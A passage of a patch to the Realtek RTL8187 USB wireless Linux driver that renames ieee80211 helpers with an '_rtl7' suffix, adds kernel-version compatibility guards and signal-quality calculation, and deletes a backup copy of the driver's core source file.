struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 1) return -1; - + return _rtl8180_up(dev); } int rtl8180_close(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - + ret = rtl8180_down(dev); - + up(&priv->wx_sem); - + return ret; } int rtl8180_down(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 0) return -1; - + priv->up=0; /* FIXME */ if (!netif_queue_stopped(dev)) netif_stop_queue(dev); - + rtl8180_rtx_disable(dev); rtl8180_irq_disable(dev); - ieee80211_softmac_stop_protocol(priv->ieee80211); - + ieee80211_softmac_stop_protocol_rtl7(priv->ieee80211); + return 0; } void rtl8180_commit(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 0) return ; - - ieee80211_softmac_stop_protocol(priv->ieee80211); - + + ieee80211_softmac_stop_protocol_rtl7(priv->ieee80211); + rtl8180_irq_disable(dev); rtl8180_rtx_disable(dev); _rtl8180_up(dev); } +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_restart(struct work_struct *work) +{ + struct r8180_priv *priv = container_of(work, struct r8180_priv, reset_wq); + struct net_device *dev = priv->dev; +#else void rtl8180_restart(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); +#endif down(&priv->wx_sem); - rtl8180_commit(dev); - + up(&priv->wx_sem); } static void r8180_set_multicast(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short promisc; //down(&priv->wx_sem); - + /* FIXME FIXME */ - + promisc = (dev->flags & IFF_PROMISC) ? 1:0; - + if (promisc != priv->promisc) // rtl8180_commit(dev); - + priv->promisc = promisc; - + //schedule_work(&priv->reset_wq); //up(&priv->wx_sem); } @@ -2273,17 +2415,17 @@ int r8180_set_mac_adr(struct net_device *dev, void *mac) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); struct sockaddr *addr = mac; - + down(&priv->wx_sem); - + memcpy(dev->dev_addr, addr->sa_data, ETH_ALEN); - + schedule_work(&priv->reset_wq); - + up(&priv->wx_sem); - + return 0; } @@ -2291,16 +2433,18 @@ /* based on ipw2200 driver */ int rtl8180_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + struct iwreq *wrq; + int ret; + down(&priv->wx_sem); - - struct iwreq *wrq = (struct iwreq *)rq; - - int ret=-1; + + wrq = (struct iwreq *)rq; + + ret=-1; switch (cmd) { case RTL_IOCTL_WPA_SUPPLICANT: - ret = ieee80211_wpa_supplicant_ioctl(priv->ieee80211, &wrq->u.data); + ret = ieee80211_wpa_supplicant_ioctl_rtl7(priv->ieee80211, &wrq->u.data); break; default: @@ -2309,7 +2453,7 @@ } up(&priv->wx_sem); - + return ret; } @@ -2320,10 +2464,11 @@ struct net_device *dev = (struct net_device*)rx_urb->context; int status,len,flen; struct sk_buff *skb; - u32 *desc; - + u8 *desc; + u8 signal,quality,rate; + //DMESG("rtl8187_rx_isr"); - + struct ieee80211_rx_stats stats = { .signal = 0, .noise = -98, @@ -2332,43 +2477,109 @@ .freq = IEEE80211_24GHZ_BAND, }; + //DMESG("RX %d ",rx_urb->status); status = rx_urb->status; if(status == 0){ - + len = rx_urb->actual_length; - // len = len - 4 - 15 - 1; /* CRC, DESC, SEPARATOR*/ + // len = len - 4 - 15 - 1; /* CRC, DESC, SEPARATOR*/ len -= 4*4;/* 4 dword and 4 byte CRC */ - +#if 0 desc = (u32*)(rx_urb->transfer_buffer + len); - + flen = desc[0] & 0xfff; - + if( flen <= rx_urb->actual_length){ - - stats.signal = (desc[1] & 0x7f00)>>8; - stats.noise = desc[1] &0xff; - stats.rate = desc[0] >> 20 & 0xf; + + //stats.signal = (desc[1] & 0x7f00)>>8; + //stats.noise = desc[1] &0xff; + signal=(desc[1]& (0xff0000))>>16; + signal=(signal&0xfe)>>1; // Modify by hikaru 6.6 + + quality=(desc[1] & (0xff)); + + rate=(desc[0] &((1<<23)|(1<<22)|(1<<21)|(1<<20)))>>20; + // printk(KERN_INFO "rate is %d!\n",rate); + stats.rate = rtl8180_rate2rate(rate); + // printk(KERN_INFO "stats.rate is %d!\n",stats.rate); + //stats.rate = desc[0] >> 20 & 0xf; stats.mac_time[0] = desc[2]; stats.mac_time[1] = desc[3]; +#endif + + desc = rx_urb->transfer_buffer + len; + + flen = ((desc[1] & 0x0f) << 8) + (desc[0] & 0xff); + + if( flen <= rx_urb->actual_length){ + //stats.signal = (desc[1] & 0x7f00)>>8; + //stats.noise = desc[1] &0xff; + signal=(desc[6]& 0xfe)>>1; + //signal=(signal&0xfe)>>1; // Modify by hikaru 6.6 + + quality=desc[4] & 0xff; + + //rate=(desc[2] &((1<<7)|(1<<6)|(1<<5)|(1<<4)))>>4; + rate=(desc[2] & 0xf0)>>4; + // printk(KERN_INFO "rate is %d!\n",rate); + stats.rate = rtl8180_rate2rate(rate); + // printk(KERN_INFO "stats.rate is %d!\n",stats.rate); + //stats.rate = desc[0] >> 20 & 0xf; + stats.mac_time[0] = desc[8] + (desc[9]<<8) + (desc[10]<<16) + (desc[11]<<24); + stats.mac_time[1] = desc[12] + (desc[13]<<8) + (desc[14]<<16) + (desc[15]<<24); + + + //calculate link quality begin + if(!rtl8180_IsWirelessBMode(stats.rate) ) + { // OFDM rate. + if(signal>90) + signal=90; + else if(signal<25) + signal=25; + signal = (90-signal)*100/65; + } + else + { // CCK rate. + if(signal>95) + signal = 95; + else if(signal<30) + signal = 30; + signal =(95-signal )*100/65; + } + priv->wstats.qual.level = signal; + // printk(KERN_INFO "signal is %d!\n",signal); + if(quality > 64) + priv ->wstats.qual.qual = 0; + else + priv ->wstats.qual.qual = ((64-quality) * 100) / 64; // SQ value is the SIGNAL_QUALITY returned to IORequest, + //and this value only appear when STA is associated to AP or + // STA is in IBSS mode + // printk(KERN_INFO "quality is %d!\n",priv->wstats.qual.qual); + priv->wstats.qual.noise = 100 - priv ->wstats.qual.qual; + priv->wstats.qual.updated = 7; + if(priv->ieee80211->iw_mode == IW_MODE_MONITOR) + { + stats.signal = priv->wstats.qual.level; + stats.noise = priv->wstats.qual.noise; + } + //calculate link quality end skb = dev_alloc_skb(flen-4); - //skb_reserve(skb,2); - if(skb){ + if(skb){ memcpy(skb_put(skb,flen-4), rx_urb->transfer_buffer,flen -4); - + #ifdef DUMP_RX int i; for(i=0;itransfer_buffer))[i]); printk("------RATE %x:w---------------\n",stats.rate); - + #endif priv->stats.rxok++; // priv->rxskb = skb; // priv->tempstats = &stats; - - if(!ieee80211_rx(priv->ieee80211, + if(!ieee80211_rx_rtl7(priv->ieee80211, skb, &stats)) dev_kfree_skb_any(skb); } @@ -2376,9 +2587,8 @@ }else{ priv->stats.rxstaterr++; priv->ieee80211->stats.rx_errors++; - } - + if(status != -ENOENT)rtl8187_rx_urbsubmit(dev,rx_urb); else DMESG("RX process aborted due to explicit shutdown"); } @@ -2396,20 +2606,22 @@ struct r8180_priv *priv= NULL; struct usb_device *udev = interface_to_usbdev(intf); -//printk("===> rtl8187_usb_probe()\n"); - - dev = alloc_ieee80211(sizeof(struct r8180_priv)); - +//printk("===> rtl8187_usb_probe()\n"); + + dev = alloc_ieee80211_rtl7(sizeof(struct r8180_priv)); + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24) SET_MODULE_OWNER(dev); - usb_set_intfdata(intf, dev); - +#endif + usb_set_intfdata(intf, dev); + SET_NETDEV_DEV(dev, &intf->dev); - priv = ieee80211_priv(dev); + priv = ieee80211_priv_rtl7(dev); priv->ieee80211 = netdev_priv(dev); - + priv->udev=udev; - + dev->open = rtl8180_open; dev->stop = rtl8180_close; //dev->hard_start_xmit = rtl8180_8023_hard_start_xmit; @@ -2418,41 +2630,46 @@ dev->do_ioctl = rtl8180_ioctl; dev->set_multicast_list = r8180_set_multicast; dev->set_mac_address = r8180_set_mac_adr; +#if WIRELESS_EXT >= 12 +#if WIRELESS_EXT < 17 dev->get_wireless_stats = r8180_get_wireless_stats; +#endif + dev->wireless_handlers = (struct iw_handler_def *) &r8180_wx_handlers_def; +#endif dev->type=ARPHRD_ETHER; - + if (dev_alloc_name(dev, ifname) < 0){ DMESG("Oops: devname already taken! Trying wlan%%d...\n"); ifname = "wlan%d"; dev_alloc_name(dev, ifname); } - + // dev->open=rtl8180_init; - - if(rtl8180_init(dev)!=0){ + + if(rtl8180_init(dev)!=0){ DMESG("Initialization failed"); goto fail; } - + netif_carrier_off(dev); netif_stop_queue(dev); - + register_netdev(dev); - + rtl8180_proc_init_one(dev); - - + + DMESG("Driver probe completed\n"); - return 0; + return 0; + - fail: - free_ieee80211(dev); - + free_ieee80211_rtl7(dev); + DMESG("wlan driver load failed\n"); - + return -ENODEV; - + } @@ -2461,13 +2678,13 @@ struct r8180_priv *priv; struct net_device *dev = usb_get_intfdata(intf); if(dev){ - + unregister_netdev(dev); - - priv=ieee80211_priv(dev); - + + priv=ieee80211_priv_rtl7(dev); + rtl8180_proc_remove_one(dev); - + rtl8180_down(dev); priv->rf_close(dev); //rtl8180_rtx_disable(dev); @@ -2478,12 +2695,12 @@ } // pci_disable_device(pdev); - free_ieee80211(dev); + free_ieee80211_rtl7(dev); DMESG("wlan driver removed\n"); } -static int __init rtl8187_usb_module_init(void) +static int __init rtl8187_usb_module_init_rtl7(void) { printk(KERN_INFO "\nLinux kernel driver for RTL8187 \ based WLAN cards\n"); @@ -2495,7 +2712,7 @@ } -static void __exit rtl8187_usb_module_exit(void) +static void __exit rtl8187_usb_module_exit_rtl7(void) { usb_deregister(&rtl8187_usb_driver); @@ -2508,14 +2725,14 @@ { unsigned long flags; short enough_desc; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + spin_lock_irqsave(&priv->tx_lock,flags); enough_desc = check_nic_enought_desc(dev,pri); - spin_unlock_irqrestore(&priv->tx_lock,flags); - + spin_unlock_irqrestore(&priv->tx_lock,flags); + if(enough_desc) - ieee80211_wake_queue(priv->ieee80211); + ieee80211_wake_queue_rtl7(priv->ieee80211); } @@ -2523,5 +2740,5 @@ /*************************************************************************** ------------------- module init / exit stubs ---------------- ****************************************************************************/ -module_init(rtl8187_usb_module_init); -module_exit(rtl8187_usb_module_exit); +module_init(rtl8187_usb_module_init_rtl7); +module_exit(rtl8187_usb_module_exit_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8187_core.c~ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187_core.c~ --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8187_core.c~ 2006-06-22 07:40:10.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187_core.c~ 1970-01-01 01:00:00.000000000 +0100 @@ -1,2527 +0,0 @@ -/* - This is part of rtl8187 OpenSource driver - v 0.1 - Copyright (C) Andrea Merello 2005 - Released under the terms of GPL (General Public License) - - - Parts of this driver are based on the rtl8180 driver skeleton - from Patric Schenke & Andres Salomon. - - Parts of this driver are based on the Intel Pro Wireless 2*00 GPL drivers. - - some ideas might be derived from David Young rtl8180 netbsd driver. - - Parts of the usb code are from the r8150.c driver in linux kernel - - Some ideas borrowed from the 8139too.c driver included in linux kernel. - - We (I?) want to thanks the Authors of those projecs and also the - Ndiswrapper's project Authors. - - A special big thanks goes also to Realtek corp. for their help in my - attempt to add RTL8187 and RTL8225 support, and to David Young also. - - - Please note that this file is a modified version from rtl8180-sa2400 - drv. So some other people have contributed to this project, and they are - thanked in the rtl8180-sa2400 CHANGELOG. -*/ - -#ifndef CONFIG_FORCE_HARD_FLOAT -double __floatsidf (int i) { return i; } -unsigned int __fixunsdfsi (double d) { return d; } -double __adddf3(double a, double b) { return a+b; } -double __addsf3(float a, float b) { return a+b; } -double __subdf3(double a, double b) { return a-b; } -double __extendsfdf2(float a) {return a;} -#endif - -#undef LOOP_TEST -#undef DUMP_RX -#undef DUMP_TX -#undef DEBUG_TX_DESC2 -#undef RX_DONT_PASS_UL -#undef DEBUG_EPROM -#undef DEBUG_RX_VERBOSE -#undef DUMMY_RX -#undef DEBUG_ZERO_RX -#undef DEBUG_RX_SKB -#undef DEBUG_TX_FRAG -#undef DEBUG_RX_FRAG -#undef DEBUG_TX_FILLDESC -#undef DEBUG_TX -#undef DEBUG_IRQ -#undef DEBUG_RX -#undef DEBUG_RXALLOC -#undef DEBUG_REGISTERS -#undef DEBUG_RING -#undef DEBUG_IRQ_TASKLET -#undef DEBUG_TX_ALLOC -#undef DEBUG_TX_DESC - -//#define CONFIG_RTL8180_IO_MAP - -#include "r8180_hw.h" -#include "r8187.h" -#include "r8180_rtl8225.h" /* RTL8225 Radio frontend */ -#include "r8180_93cx6.h" /* Card EEPROM */ -#include "r8180_wx.h" - - -// FIXME: check if 2.6.7 is ok -#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,7)) -#define usb_kill_urb usb_unlink_urb -#endif - -#ifdef CONFIG_RTL8180_PM -#include "r8180_pm.h" -#endif - -#ifndef USB_VENDOR_ID_REALTEK -#define USB_VENDOR_ID_REALTEK 0x0bda -#endif -#ifndef USB_VENDOR_ID_NETGEAR -#define USB_VENDOR_ID_NETGEAR 0x0846 -#endif - -static struct usb_device_id rtl8187_usb_id_tbl[] = { - {USB_DEVICE(USB_VENDOR_ID_REALTEK, 0x8187)}, - {USB_DEVICE(USB_VENDOR_ID_NETGEAR, 0x6100)}, - {USB_DEVICE(USB_VENDOR_ID_NETGEAR, 0x6a00)}, - - {} -}; - -static char* ifname = "wlan%d"; -#if 0 -static int hwseqnum = 0; -static int hwwep = 0; -#endif -static int channels = 0x3fff; - -MODULE_LICENSE("GPL"); -MODULE_VERSION("V 1.1"); -MODULE_DEVICE_TABLE(usb, rtl8187_usb_id_tbl); -MODULE_AUTHOR("Andrea Merello "); -MODULE_DESCRIPTION("Linux driver for Realtek RTL8187 WiFi cards"); - -#if 0 -MODULE_PARM(ifname,"s"); -MODULE_PARM_DESC(devname," Net interface name, wlan%d=default"); - -MODULE_PARM(hwseqnum,"i"); -MODULE_PARM_DESC(hwseqnum," Try to use hardware 802.11 header sequence numbers. Zero=default"); - -MODULE_PARM(hwwep,"i"); -MODULE_PARM_DESC(hwwep," Try to use hardware WEP support. Still broken and not available on all cards"); - -MODULE_PARM(channels,"i"); -MODULE_PARM_DESC(channels," Channel bitmask for specific locales. NYI"); -#endif - -#if LINUX_VERSION_CODE >= KERNEL_VERSION(2, 6, 9) -module_param(ifname, charp, S_IRUGO|S_IWUSR ); -//module_param(hwseqnum,int, S_IRUGO|S_IWUSR); -//module_param(hwwep,int, S_IRUGO|S_IWUSR); -module_param(channels,int, S_IRUGO|S_IWUSR); -#else -MODULE_PARM(ifname, "s"); -//MODULE_PARM(hwseqnum,"i"); -//MODULE_PARM(hwwep,"i"); -MODULE_PARM(channels,"i"); -#endif - -MODULE_PARM_DESC(devname," Net interface name, wlan%d=default"); -//MODULE_PARM_DESC(hwseqnum," Try to use hardware 802.11 header sequence numbers. Zero=default"); -//MODULE_PARM_DESC(hwwep," Try to use hardware WEP support. Still broken and not available on all cards"); -MODULE_PARM_DESC(channels," Channel bitmask for specific locales. NYI"); - -static int __devinit rtl8187_usb_probe(struct usb_interface *intf, - const struct usb_device_id *id); - -static void __devexit rtl8187_usb_disconnect(struct usb_interface *intf); - -static struct usb_driver rtl8187_usb_driver = { - -#if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 16) - .owner = THIS_MODULE, -#endif - .name = RTL8187_MODULE_NAME, /* Driver name */ - .id_table = rtl8187_usb_id_tbl, /* PCI_ID table */ - .probe = rtl8187_usb_probe, /* probe fn */ - .disconnect = rtl8187_usb_disconnect, /* remove fn */ -#ifdef CONFIG_RTL8180_PM - .suspend = rtl8180_suspend, /* PM suspend fn */ - .resume = rtl8180_resume, /* PM resume fn */ -#else - .suspend = NULL, /* PM suspend fn */ - .resume = NULL, /* PM resume fn */ -#endif -}; - - -void write_nic_byte_E(struct net_device *dev, int indx, u8 data) -{ - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, usb_sndctrlpipe(udev, 0), - RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, - indx|0xfe00, 0, &data, 1, HZ / 2); -} - - -void write_nic_byte(struct net_device *dev, int indx, u8 data) -{ - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, usb_sndctrlpipe(udev, 0), - RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, - indx|0xff00, 0, &data, 1, HZ / 2); -} - - -void write_nic_word(struct net_device *dev, int indx, u16 data) -{ - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, usb_sndctrlpipe(udev, 0), - RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, - indx|0xff00, 0, &data, 2, HZ / 2); -} - - -void write_nic_dword(struct net_device *dev, int indx, u32 data) -{ - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, usb_sndctrlpipe(udev, 0), - RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, - indx|0xff00, 0, &data, 4, HZ / 2); -} - - - -u8 read_nic_byte(struct net_device *dev, int indx) -{ - u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), - RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, - indx|0xff00, 0, &data, 1, HZ / 2); - return data; -} - -u8 read_nic_byte_E(struct net_device *dev, int indx) -{ - u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), - RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, - indx|0xfe00, 0, &data, 1, HZ / 2); - return data; -} - - -u16 read_nic_word(struct net_device *dev, int indx) -{ - u16 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), - RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, - indx|0xff00, 0, &data, 2, HZ / 2); - return data; -} - - -u32 read_nic_dword(struct net_device *dev, int indx) -{ - u32 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), - RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, - indx|0xff00, 0, &data, 4, HZ / 2); - return data; -} - -/* this might still called in what was the PHY rtl8185/rtl8187 common code - * plans are to possibilty turn it again in one common code... - */ -inline void force_pci_posting(struct net_device *dev) -{ -} - - -//irqreturn_t rtl8180_interrupt(int irq, void *netdev, struct pt_regs *regs); -//void set_nic_rxring(struct net_device *dev); -//void set_nic_txring(struct net_device *dev); -static struct net_device_stats *rtl8180_stats(struct net_device *dev); -void rtl8180_commit(struct net_device *dev); -void rtl8180_restart(struct net_device *dev); - -/**************************************************************************** - -----------------------------PROCFS STUFF------------------------- -*****************************************************************************/ - -static struct proc_dir_entry *rtl8180_proc = NULL; - -static int proc_get_registers(char *page, char **start, - off_t offset, int count, - int *eof, void *data) -{ - struct net_device *dev = data; -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - int len = 0; - int i,n; - - int max=0xff; - - /* This dump the current register page */ - for(n=0;n<=max;) - { - //printk( "\nD: %2x> ", n); - len += snprintf(page + len, count - len, - "\nD: %2x > ",n); - - for(i=0;i<16 && n<=max;i++,n++) - len += snprintf(page + len, count - len, - "%2x ",read_nic_byte(dev,n)); - - // printk("%2x ",read_nic_byte(dev,n)); - } - len += snprintf(page + len, count - len,"\n"); - - - - *eof = 1; - return len; - -} - -#if 0 -static int proc_get_stats_hw(char *page, char **start, - off_t offset, int count, - int *eof, void *data) -{ - struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - int len = 0; - - len += snprintf(page + len, count - len, - "NIC int: %lu\n" - "Total int: %lu\n", - priv->stats.ints, - priv->stats.shints); - - *eof = 1; - return len; -} -#endif - -static int proc_get_stats_tx(char *page, char **start, - off_t offset, int count, - int *eof, void *data) -{ - struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - int len = 0; - - len += snprintf(page + len, count - len, - "TX normal priority ok int: %lu\n" - "TX normal priority error int: %lu\n" -// "TX high priority ok int: %lu\n" -// "TX high priority failed error int: %lu\n" - "TX low priority ok int: %lu\n" - "TX low priority failed error int: %lu\n" - "TX queue resume: %lu\n" - "TX queue stopped?: %d\n" - "TX fifo overflow: %lu\n" -// "TX beacon: %lu\n" - "TX lp queue: %d\n" - "TX np queue: %d\n" - "TX HW queue: %d\n" - "TX lp dropped: %lu\n" - "TX np dropped: %lu\n" - "TX total data packets %lu\n", -// "TX beacon aborted: %lu\n", - priv->stats.txnpokint, - priv->stats.txnperr, -// priv->stats.txhpokint, -// priv->stats.txhperr, - priv->stats.txlpokint, - priv->stats.txlperr, - priv->stats.txresumed, - netif_queue_stopped(dev), - priv->stats.txoverflow, -// priv->stats.txbeacon, - atomic_read(&(priv->tx_lp_pending)), - atomic_read(&(priv->tx_np_pending)), - read_nic_byte(dev, TXFIFOCOUNT), - priv->stats.txlpdrop, - priv->stats.txnpdrop, - priv->stats.txdatapkt -// priv->stats.txbeaconerr - ); - - *eof = 1; - return len; -} - - - -static int proc_get_stats_rx(char *page, char **start, - off_t offset, int count, - int *eof, void *data) -{ - struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - int len = 0; - - len += snprintf(page + len, count - len, - "RX packets: %lu\n" - "RX urb status error: %lu\n" - "RX invalid urb error: %lu\n", - priv->stats.rxok, - priv->stats.rxstaterr, - priv->stats.rxurberr); - - *eof = 1; - return len; -} - - -static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - - return &priv->wstats; -} - -void rtl8180_proc_module_init(void) -{ - DMESG("Initializing proc filesystem"); - rtl8180_proc=create_proc_entry(RTL8187_MODULE_NAME, S_IFDIR, proc_net); -} - - -void rtl8180_proc_module_remove(void) -{ - remove_proc_entry(RTL8187_MODULE_NAME, proc_net); -} - - -void rtl8180_proc_remove_one(struct net_device *dev) -{ - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - if (priv->dir_dev) { - // remove_proc_entry("stats-hw", priv->dir_dev); - remove_proc_entry("stats-tx", priv->dir_dev); - remove_proc_entry("stats-rx", priv->dir_dev); - // remove_proc_entry("stats-ieee", priv->dir_dev); - // remove_proc_entry("stats-ap", priv->dir_dev); - remove_proc_entry("registers", priv->dir_dev); - remove_proc_entry(dev->name, rtl8180_proc); - priv->dir_dev = NULL; - } -} - - -void rtl8180_proc_init_one(struct net_device *dev) -{ - struct proc_dir_entry *e; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - priv->dir_dev = create_proc_entry(dev->name, - S_IFDIR | S_IRUGO | S_IXUGO, - rtl8180_proc); - if (!priv->dir_dev) { - DMESGE("Unable to initialize /proc/net/rtl8187/%s\n", - dev->name); - return; - } - #if 0 - e = create_proc_read_entry("stats-hw", S_IFREG | S_IRUGO, - priv->dir_dev, proc_get_stats_hw, dev); - - if (!e) { - DMESGE("Unable to initialize " - "/proc/net/rtl8187/%s/stats-hw\n", - dev->name); - } - #endif - e = create_proc_read_entry("stats-rx", S_IFREG | S_IRUGO, - priv->dir_dev, proc_get_stats_rx, dev); - - if (!e) { - DMESGE("Unable to initialize " - "/proc/net/rtl8187/%s/stats-rx\n", - dev->name); - } - - - e = create_proc_read_entry("stats-tx", S_IFREG | S_IRUGO, - priv->dir_dev, proc_get_stats_tx, dev); - - if (!e) { - DMESGE("Unable to initialize " - "/proc/net/rtl8187/%s/stats-tx\n", - dev->name); - } - #if 0 - e = create_proc_read_entry("stats-ieee", S_IFREG | S_IRUGO, - priv->dir_dev, proc_get_stats_ieee, dev); - - if (!e) { - DMESGE("Unable to initialize " - "/proc/net/rtl8187/%s/stats-ieee\n", - dev->name); - } - - - e = create_proc_read_entry("stats-ap", S_IFREG | S_IRUGO, - priv->dir_dev, proc_get_stats_ap, dev); - - if (!e) { - DMESGE("Unable to initialize " - "/proc/net/rtl8187/%s/stats-ap\n", - dev->name); - } - #endif - - e = create_proc_read_entry("registers", S_IFREG | S_IRUGO, - priv->dir_dev, proc_get_registers, dev); - - if (!e) { - DMESGE("Unable to initialize " - "/proc/net/rtl8187/%s/registers\n", - dev->name); - } -} -/**************************************************************************** - -----------------------------MISC STUFF------------------------- -*****************************************************************************/ - -/* this is only for debugging */ -void print_buffer(u32 *buffer, int len) -{ - int i; - u8 *buf =(u8*)buffer; - - printk("ASCII BUFFER DUMP (len: %x):\n",len); - - for(i=0;itx_np_pending : &priv->tx_lp_pending); - - return (used < MAX_TX_URB); -} - -void tx_timeout(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - //rtl8180_commit(dev); - schedule_work(&priv->reset_wq); - //DMESG("TXTIMEOUT"); -} - - -/* this is only for debug */ -void dump_eprom(struct net_device *dev) -{ - int i; - for(i=0; i<63; i++) - DMESG("EEPROM addr %x : %x", i, eprom_read(dev,i)); -} - -/* this is only for debug */ -void rtl8180_dump_reg(struct net_device *dev) -{ - int i; - int n; - int max=0xff; - - DMESG("Dumping NIC register map"); - - for(n=0;n<=max;) - { - printk( "\nD: %2x> ", n); - for(i=0;i<16 && n<=max;i++,n++) - printk("%2x ",read_nic_byte(dev,n)); - } - printk("\n"); -} - -/**************************************************************************** - ------------------------------HW STUFF--------------------------- -*****************************************************************************/ - - -void rtl8180_irq_enable(struct net_device *dev) -{ - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - //priv->irq_enabled = 1; -/* - write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ - INTA_TXOVERFLOW | INTA_HIPRIORITYDESCERR | INTA_HIPRIORITYDESCOK |\ - INTA_NORMPRIORITYDESCERR | INTA_NORMPRIORITYDESCOK |\ - INTA_LOWPRIORITYDESCERR | INTA_LOWPRIORITYDESCOK | INTA_TIMEOUT); -*/ - write_nic_word(dev,INTA_MASK, priv->irq_mask); -} - - -void rtl8180_irq_disable(struct net_device *dev) -{ -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - write_nic_word(dev,INTA_MASK,0); - force_pci_posting(dev); -// priv->irq_enabled = 0; -} - - -void rtl8180_set_mode(struct net_device *dev,int mode) -{ - u8 ecmd; - ecmd=read_nic_byte(dev, EPROM_CMD); - ecmd=ecmd &~ EPROM_CMD_OPERATING_MODE_MASK; - ecmd=ecmd | (mode<ieee80211->state == IEEE80211_LINKED){ - - if (priv->ieee80211->iw_mode == IW_MODE_INFRA) - msr |= (MSR_LINK_MANAGED<ieee80211->iw_mode == IW_MODE_ADHOC) - msr |= (MSR_LINK_ADHOC<ieee80211->iw_mode == IW_MODE_MASTER) - msr |= (MSR_LINK_MASTER<chan=ch; - #if 0 - if(priv->ieee80211->iw_mode == IW_MODE_ADHOC || - priv->ieee80211->iw_mode == IW_MODE_MASTER){ - - priv->ieee80211->link_state = WLAN_LINK_ASSOCIATED; - priv->ieee80211->master_chan = ch; - rtl8180_update_beacon_ch(dev); - } - #endif - - /* this hack should avoid frame TX during channel setting*/ - tx = read_nic_dword(dev,TX_CONF); - tx &= ~TX_LOOPBACK_MASK; - -#ifndef LOOP_TEST - write_nic_dword(dev,TX_CONF, tx |( TX_LOOPBACK_MAC<rf_set_chan(dev,priv->chan); - mdelay(10); - write_nic_dword(dev,TX_CONF,tx | (TX_LOOPBACK_NONE<udev, - usb_rcvbulkpipe(priv->udev,0x81), rx_urb->transfer_buffer, - RX_URB_SIZE,rtl8187_rx_isr,dev); - err = usb_submit_urb(rx_urb, GFP_ATOMIC); - if(err && err != -EPERM){ - DMESGE("cannot submit RX command. URB_STATUS %x",rx_urb->status); - - } - -} - - -void rtl8187_rx_initiate(struct net_device *dev) -{ - int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - if(!priv->rx_urb) - DMESGE("Cannot intiate RX urb mechanism"); - for(i=0;irx_urb[i]); - -} - -void rtl8187_set_rxconf(struct net_device *dev) -{ - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - u32 rxconf; - - rxconf=read_nic_dword(dev,RX_CONF); - rxconf = rxconf &~ MAC_FILTER_MASK; - rxconf = rxconf | (1<flags & IFF_PROMISC) DMESG ("NIC in promisc mode"); - - if(priv->ieee80211->iw_mode == IW_MODE_MONITOR || \ - dev->flags & IFF_PROMISC){ - rxconf = rxconf | (1<ieee80211->iw_mode == 